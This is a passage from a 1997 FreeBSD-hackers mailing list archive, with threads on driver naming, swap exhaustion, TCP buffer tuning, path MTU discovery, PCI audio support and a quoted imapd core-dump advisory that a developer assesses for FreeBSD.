pseudo-device bpfilter 4 #Berkeley packet filter pseudo-device gzip # Exec gzipped a.out's # KTRACE enables the system-call tracing facility ktrace(2). # This adds 4 KB bloat to your kernel, and slightly increases # the costs of each syscall. options KTRACE #kernel tracing From owner-freebsd-hackers Wed Oct 8 18:36:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA29157 for hackers-outgoing; Wed, 8 Oct 1997 18:36:41 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA29152 for ; Wed, 8 Oct 1997 18:36:39 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id SAA22198 for ; Wed, 8 Oct 1997 18:35:46 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id SAA26822 for ; Wed, 8 Oct 1997 18:35:41 -0700 (PDT) Date: Wed, 8 Oct 1997 18:35:41 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: Device drivers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Do device driver names have to have only letters, attempting to name my driver dio48s.c has caused some "syntax errors" with config. I assume I need to rename it as it is looking at the 48 as if it is a unit number? From owner-freebsd-hackers Wed Oct 8 18:43:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA29412 for hackers-outgoing; Wed, 8 Oct 1997 18:43:00 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: (from jmb@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA29398; Wed, 8 Oct 1997 18:42:25 -0700 (PDT) (envelope-from jmb) From: "Jonathan M. Bresler" Message-Id: <199710090142.SAA29398@hub.freebsd.org> Subject: Re: Wheres all my memory going? To: dg@root.com Date: Wed, 8 Oct 1997 18:42:25 -0700 (PDT) Cc: reilly@zeta.org.au, gordon@drogon.net, hackers@freebsd.org In-Reply-To: <199710082352.QAA24445@implode.root.com> from "David Greenman" at Oct 8, 97 04:52:13 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk David Greenman wrote: > > >On 8 Oct, David Greenman wrote: > >>>Machine boots OK. I start named (8.1.1) and it initialises. However, after > >>>some time (a day or so) the machine start to run out of swap space. I only > >>>allocated 64M of swap. (Is this the problem?) What I can't figure out is > >>>where the memory is going. Output of 'top -b' shows: > >> > >> Yes, you need more swap than you have RAM...this is very important to > >> avoid problems. > > > >Does that mean that it is not possible to run a FreeBSD system without > >swap at all? I can think of a number of situations (mostly kind of > >embedded) where you can arrange to satisfy all of the memory > >requirements with RAM, but don't want to add a disk or use a network > >for swap. > > That's what it means. As soon as the free pages get depleted and the system > tries to reclaim some memory, it will get unhappy and start killing off > processes rather than recaiming only unmodified pages or whatever. This is a > problem that needs to be dealt with in the future. something really hideous....swap to an MFS partition? From owner-freebsd-hackers Wed Oct 8 18:53:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA29762 for hackers-outgoing; Wed, 8 Oct 1997 18:53:08 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from srv.net (snake.srv.net [199.104.81.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA29756 for ; Wed, 8 Oct 1997 18:53:05 -0700 (PDT) (envelope-from cmott@srv.net) Received: from darkstar.home (pmif164.ida.net [204.228.203.164]) by srv.net (8.8.5/8.8.5) with SMTP id TAA06509; Wed, 8 Oct 1997 19:52:37 -0600 (MDT) Date: Wed, 8 Oct 1997 18:52:03 -0700 (MST) From: Charles Mott X-Sender: cmott@darkstar.home To: bag@sinbin.demos.su cc: freebsd-hackers@FreeBSD.ORG Subject: Re: udp and ifconfig alias In-Reply-To: <199710081656.KAA32283@srv.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > use recvmsg call, and IP_RECVDSTADDR option enabled (man 4 ip) > > Alex. Thanks for your advice. I will write a test example using this option. -- Charles Mott From owner-freebsd-hackers Wed Oct 8 19:14:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA00897 for hackers-outgoing; Wed, 8 Oct 1997 19:14:03 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gaia.coppe.ufrj.br (jonny@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA00887 for ; Wed, 8 Oct 1997 19:13:57 -0700 (PDT) (envelope-from jonny@coppe.ufrj.br) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.7/8.8.7) id AAA28099; Thu, 9 Oct 1997 00:13:32 -0200 (EDT) From: Joao Carlos Mendes Luis Message-Id: <199710090213.AAA28099@gaia.coppe.ufrj.br> Subject: Re: TCP problem In-Reply-To: <199710082259.PAA24090@implode.root.com> from David Greenman at "Oct 8, 97 03:59:33 pm" To: dg@root.com Date: Thu, 9 Oct 1997 00:13:32 -0200 (EDT) Cc: jonny@coppe.ufrj.br, joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(David Greenman) // >Uh, er, yes... :) // > // >I wanted to test some parameters in order to push network performance // >since this machine is a mid-sized squid server that I'm using to project // >bigger ones. // ... // >/usr/sbin/sysctl -w net.inet.tcp.sendspace=65536 // >/usr/sbin/sysctl -w net.inet.tcp.recvspace=65536 // // This is the cause of the problem. You really don't want to change these, // anyway. You'll see the best performance at the default of 16KB. So, what's the good thing about RFC1323 ? Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Wed Oct 8 19:16:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA01057 for hackers-outgoing; Wed, 8 Oct 1997 19:16:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA01052 for ; Wed, 8 Oct 1997 19:16:14 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id TAA13868 for ; Wed, 8 Oct 1997 19:14:30 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id TAA21351 for ; Wed, 8 Oct 1997 19:14:29 -0700 (PDT) Date: Wed, 8 Oct 1997 19:14:29 -0700 (PDT) From: mdean To: hackers@FreeBSD.ORG Subject: Major number requested In-Reply-To: <199710090058.TAA01089@chess.inetspace.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I would like to ask for a major number for my dio48s/at-p driver (48 channel digital i/o with change of state interrupt). I don't need it right now as I am not yet done, but I should have most of the work finished within a week. I will be contributing this driver, unless rejected, to the freebsd project. This driver is needed to harness the full potential of the change of state interrupts, this is a rare feature not even found in 2x enpensive comparable boards (such as national instruments pcdio series). This can be used to latch the inputs upon a change and respond to those inputs. For instance it could be very useful in a computerized security system. See http://www.indcompsrc.com/products/data/html/dio48s_at-p.html for more info. I also need to know what kind of man page text I need to go along with this. I have never done any man pages. From owner-freebsd-hackers Wed Oct 8 20:01:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA03176 for hackers-outgoing; Wed, 8 Oct 1997 20:01:23 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA03167; Wed, 8 Oct 1997 20:01:20 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id UAA11465; Wed, 8 Oct 1997 20:01:15 -0700 (MST) From: Terry Lambert Message-Id: <199710090301.UAA11465@usr05.primenet.com> Subject: Re: Wheres all my memory going? To: jmb@FreeBSD.ORG (Jonathan M. Bresler) Date: Thu, 9 Oct 1997 03:01:14 +0000 (GMT) Cc: dg@root.com, reilly@zeta.org.au, gordon@drogon.net, hackers@FreeBSD.ORG In-Reply-To: <199710090142.SAA29398@hub.freebsd.org> from "Jonathan M. Bresler" at Oct 8, 97 06:42:25 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > something really hideous....swap to an MFS partition? This is a non-sequitur. MFS is backed by swap, in all cases. You would be attempting to swap to swap. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Oct 8 20:12:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA03670 for hackers-outgoing; Wed, 8 Oct 1997 20:12:06 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA03664 for ; Wed, 8 Oct 1997 20:12:04 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id UAA03289 for ; Wed, 8 Oct 1997 20:10:25 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id UAA20730 for ; Wed, 8 Oct 1997 20:10:25 -0700 (PDT) Date: Wed, 8 Oct 1997 20:10:24 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: Cannot find definition of cdevsw_add() in source tree. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Where is cdevsw_add() defined, I have searched all .c and .h files in the source tree, but can only find a prototype. From owner-freebsd-hackers Wed Oct 8 22:00:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA08347 for hackers-outgoing; Wed, 8 Oct 1997 22:00:42 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA08339 for ; Wed, 8 Oct 1997 22:00:36 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id OAA07674; Thu, 9 Oct 1997 14:30:32 +0930 (CST) Message-ID: <19971009143032.54558@lemis.com> Date: Thu, 9 Oct 1997 14:30:32 +0930 From: Greg Lehey To: FreeBSD Hackers Subject: What happened to Tetris? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I recall that the game Tetris had to be removed from the repository a few weeks back because somebody claimed rights to the name. What happened to the game? Is it still gone, or has it been renamed? Greg From owner-freebsd-hackers Wed Oct 8 22:21:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA09180 for hackers-outgoing; Wed, 8 Oct 1997 22:21:23 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from lhab-gw.soroscj.ro (root@lhab-gw.soroscj.ro [193.226.99.135]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA09175 for ; Wed, 8 Oct 1997 22:21:14 -0700 (PDT) (envelope-from kojak@lhab.soroscj.ro) Received: from lhab.soroscj.ro (root@lhab.soroscj.ro [193.226.99.146]) by lhab-gw.soroscj.ro (8.7.5/8.6.9) with SMTP id HAA22450 for ; Thu, 9 Oct 1997 07:26:41 +0300 Received: from localhost (kojak@localhost) by lhab.soroscj.ro (8.6.12/8.6.12) with SMTP id WAA01104 for ; Mon, 6 Oct 1997 22:52:51 +0200 Date: Mon, 6 Oct 1997 22:52:51 +0200 (GMT+0200) From: elev Ilea Alexandru To: hackers@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk unsubscribe hackers From owner-freebsd-hackers Wed Oct 8 23:20:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA11703 for hackers-outgoing; Wed, 8 Oct 1997 23:20:33 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA11698 for ; Wed, 8 Oct 1997 23:20:27 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id GAA12182; Thu, 9 Oct 1997 06:03:40 +0100 From: Luigi Rizzo Message-Id: <199710090503.GAA12182@labinfo.iet.unipi.it> Subject: Re: FreeBSD for digital recording w/PCI multitrack in/out cards? To: dcarmich@Mcs.Net (Douglas Carmichael) Date: Thu, 9 Oct 1997 06:03:39 +0100 (MET) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710082310.SAA21519@Jupiter.Mcs.Net> from "Douglas Carmichael" at Oct 8, 97 06:09:52 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > With Jordan's comment about FreeBSD in the recording studio, it could be > done with PCI-based multitrack audio I/O cards (e.g. Event Electronics > Layla - FAQ at http://www.event1.com/layla-faq.html), and some changes to > the sound driver (e.g. creating /dev/[audio|dsp][0-7]). > > Could FreeBSD handle the guaranteed 8-channel in/out? The main problem is that pci audio devices are unsupported and we can only work on them if we have the specs. So far I haven't seen the data sheets of any PCI card available on the net. manufacturers usually do not respond (or those who do already have the data sheets on the net). I cannot check the URL you pointed above in this moment, but if they do not have programming specs then we are out of luck. Otherwise I am willing to work on a driver if someone provides specs and a card. Note that my audio driver (see http://www.iet.unipi.it/luigi/FreeBSD.html) can handle multiple ISA boards (and I quite often have 2-3 active in my test machine) although you will likely run out of DMA channels with >3 boards (if you are smart enough and do not want full duplex, then you might get 4-5 ISA audio cards up and running; but then you are going to have bandwidth problems on the ISA bus.) > What multitrack recording software exists for FreeBSD? it's a user-space thing, once we have solved the device problem as depicted above, any software available on the net for unix machines will do. i know of none at the moment but I think I have seen something on the net. check the oss page or some linux doc on audio. Cheers Luigi From owner-freebsd-hackers Wed Oct 8 23:20:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA11743 for hackers-outgoing; Wed, 8 Oct 1997 23:20:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA11737 for ; Wed, 8 Oct 1997 23:20:54 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA09463 for hackers@FreeBSD.ORG; Thu, 9 Oct 1997 08:20:45 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA18642; Thu, 9 Oct 1997 08:17:48 +0200 (MET DST) Message-ID: <19971009081748.NT15455@uriah.heep.sax.de> Date: Thu, 9 Oct 1997 08:17:48 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: TCP problem References: <19971008124102.17436@lemis.com> <199710082153.TAA24952@gaia.coppe.ufrj.br> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710082153.TAA24952@gaia.coppe.ufrj.br>; from Joao Carlos Mendes Luis on Oct 8, 1997 19:53:08 -0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Joao Carlos Mendes Luis wrote: > ... Also, > FreeBSD is sending these packets as "Don't Fragment", is this a "feature" ? I think so. It's called ``path MTU discovery'', and means the sending site attempts to lower the sent packet size enough so there's nevery any need for an intermediate router to fragment it. By setting DF, any router that would fragment it will throw it away, and return an ``ICMP fragmentation needed'' instead. (At least, that's the way i understand path MTU discovery.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Oct 8 23:22:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA11815 for hackers-outgoing; Wed, 8 Oct 1997 23:22:01 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA11810 for ; Wed, 8 Oct 1997 23:21:57 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA09472; Thu, 9 Oct 1997 08:21:25 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA18628; Thu, 9 Oct 1997 08:11:09 +0200 (MET DST) Message-ID: <19971009081109.NI17492@uriah.heep.sax.de> Date: Thu, 9 Oct 1997 08:11:09 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: jonny@coppe.ufrj.br (Joao Carlos Mendes Luis) Subject: Re: TCP problem References: <199710082259.PAA24090@implode.root.com> <199710090213.AAA28099@gaia.coppe.ufrj.br> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Joao Carlos Mendes Luis wrote: > // >/usr/sbin/sysctl -w net.inet.tcp.sendspace=65536 > // >/usr/sbin/sysctl -w net.inet.tcp.recvspace=65536 > // This is the cause of the problem. You really don't want to change > these, anyway. You'll see the best performance at the default of > 16KB. > So, what's the good thing about RFC1323 ? Both, RFC 1323 and the socket buffer space size, are not related at all. Btw., read the other threads about TCP problems in -hackers that took place within the last four or five days. Also read the commit message for tcp_output.c revision 1.27 to learn what the actual problem has been (and why it is related to your bumping the send buffer space). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Oct 8 23:32:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA12150 for hackers-outgoing; Wed, 8 Oct 1997 23:32:43 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA12142 for ; Wed, 8 Oct 1997 23:32:40 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA09532 for freebsd-hackers@FreeBSD.ORG; Thu, 9 Oct 1997 08:32:39 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA18721; Thu, 9 Oct 1997 08:29:16 +0200 (MET DST) Message-ID: <19971009082916.GN20024@uriah.heep.sax.de> Date: Thu, 9 Oct 1997 08:29:16 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Cannot find definition of cdevsw_add() in source tree. References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from mdean on Oct 8, 1997 20:10:24 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As mdean wrote: > Where is cdevsw_add() defined, I have searched all .c and .h files > in the source tree, but can only find a prototype. nm /kernel | sort | more ... f0118250 F kern_conf.o f0118250 T _isdisk f01183c4 T _chrtoblk f01183f8 T _bdevsw_add f0118480 T _cdevsw_add f0118520 T _cdevsw_make f01185c8 T _bdevsw_add_generic ... (If you look into the file you'll realize why a quick grep doesn't reveal the secret.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Oct 8 23:32:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA12171 for hackers-outgoing; Wed, 8 Oct 1997 23:32:46 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA12151 for ; Wed, 8 Oct 1997 23:32:43 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA09534 for freebsd-hackers@freebsd.org; Thu, 9 Oct 1997 08:32:42 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA18735; Thu, 9 Oct 1997 08:31:40 +0200 (MET DST) Message-ID: <19971009083140.LQ20996@uriah.heep.sax.de> Date: Thu, 9 Oct 1997 08:31:40 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Subject: Re: L0pht Advisory: IMAP4rev1 imapd server References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from We got Food - Fuel - Ice-cold Beer - and X.509 certificates on Oct 8, 1997 16:17:54 +0100 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As We got Food - Fuel - Ice-cold Beer - and X.509 certificates wrote: > Scenario: > > It is possible to crash the imapd server in several possible places. > Due to the lack of handling for the SIGABRT signal and the nature > of the IMAP protocol in storing folders locally on the server; a core dump > is produced in the users current directory. This core dump contains the > password and shadow password files from the system. I don't think that's a big problem for FreeBSD. Either, the imapd runs with effective and real UID of root, but then the core file will only be readable by root, or (it was setuid) it's not supposed to drop a core file at all. Somebody who's actually running imapd might test it anyway. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Oct 8 23:32:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA12189 for hackers-outgoing; Wed, 8 Oct 1997 23:32:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gaia.coppe.ufrj.br (root@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA12170 for ; Wed, 8 Oct 1997 23:32:46 -0700 (PDT) (envelope-from jonny@coppe.ufrj.br) Received: from zeus.coppe.ufrj.br (jonny@zeus.coppe.ufrj.br [146.164.63.6]) by gaia.coppe.ufrj.br (8.8.7/8.8.7) with ESMTP id EAA00513; Thu, 9 Oct 1997 04:32:43 -0200 (EDT) From: Joao Carlos Mendes Luis Received: (from jonny@localhost) by zeus.coppe.ufrj.br (8.8.7/8.8.5) id EAA02790; Thu, 9 Oct 1997 04:32:46 -0200 (EDT) Message-Id: <199710090632.EAA02790@zeus.coppe.ufrj.br> Subject: Re: TCP problem In-Reply-To: <19971009081109.NI17492@uriah.heep.sax.de> from J Wunsch at "Oct 9, 97 08:11:09 am" To: joerg_wunsch@uriah.heep.sax.de Date: Thu, 9 Oct 1997 04:32:46 -0200 (EDT) Cc: hackers@FreeBSD.ORG, jonny@coppe.ufrj.br X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(J Wunsch) // As Joao Carlos Mendes Luis wrote: // // > // >/usr/sbin/sysctl -w net.inet.tcp.sendspace=65536 // > // >/usr/sbin/sysctl -w net.inet.tcp.recvspace=65536 // // > // This is the cause of the problem. You really don't want to change // > these, anyway. You'll see the best performance at the default of // > 16KB. // // > So, what's the good thing about RFC1323 ? // // Both, RFC 1323 and the socket buffer space size, are not related at all. 1) RFC1323 deals mostly with large windows. 2) The above sysctls control the default window size. 3) The TCP send window data must be kept in memory until receiving an ack for it. Isn't the socket buffer space where this data is kept ? What am I missing here and why the best performance is got with 16KB ? // Btw., read the other threads about TCP problems in -hackers that took // place within the last four or five days. Also read the commit message // for tcp_output.c revision 1.27 to learn what the actual problem has // been (and why it is related to your bumping the send buffer space). I've read, and now that it's been merged into RELENG_2_2 I'll recompile my system ASAP. Thanks. Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Wed Oct 8 23:44:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA12742 for hackers-outgoing; Wed, 8 Oct 1997 23:44:20 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA12737 for ; Wed, 8 Oct 1997 23:44:17 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id XAA06066 for ; Wed, 8 Oct 1997 23:42:32 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id XAA04417 for ; Wed, 8 Oct 1997 23:42:30 -0700 (PDT) Date: Wed, 8 Oct 1997 23:42:30 -0700 (PDT) From: mdean To: freebsd-hackers@FreeBSD.ORG Subject: Re: Major number requested In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I would like to ask for a major number for my dio48s/at-p driver (48 channel digital i/o with change of state interrupt). I don't need it right now as I am not yet done, but I should have most of the work finished within a week. I will be contributing this driver, unless rejected, to the freebsd project. This driver is needed to harness the full potential of the change of state interrupts, this is a rare feature not even found in 2x enpensive comparable boards (such as national instruments pcdio series). This can be used to latch the inputs upon a change and respond to those inputs. For instance it could be very useful in a computerized security system. See http://www.indcompsrc.com/products/data/html/dio48s_at-p.html for more info. I also need to know what kind of man page text I need to go along with this. I have never done any man pages. From owner-freebsd-hackers Wed Oct 8 23:51:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA12994 for hackers-outgoing; Wed, 8 Oct 1997 23:51:35 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA12987 for ; Wed, 8 Oct 1997 23:51:32 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id XAA26683; Wed, 8 Oct 1997 23:53:09 -0700 (PDT) Message-Id: <199710090653.XAA26683@implode.root.com> To: Joao Carlos Mendes Luis cc: hackers@FreeBSD.ORG Subject: Re: TCP 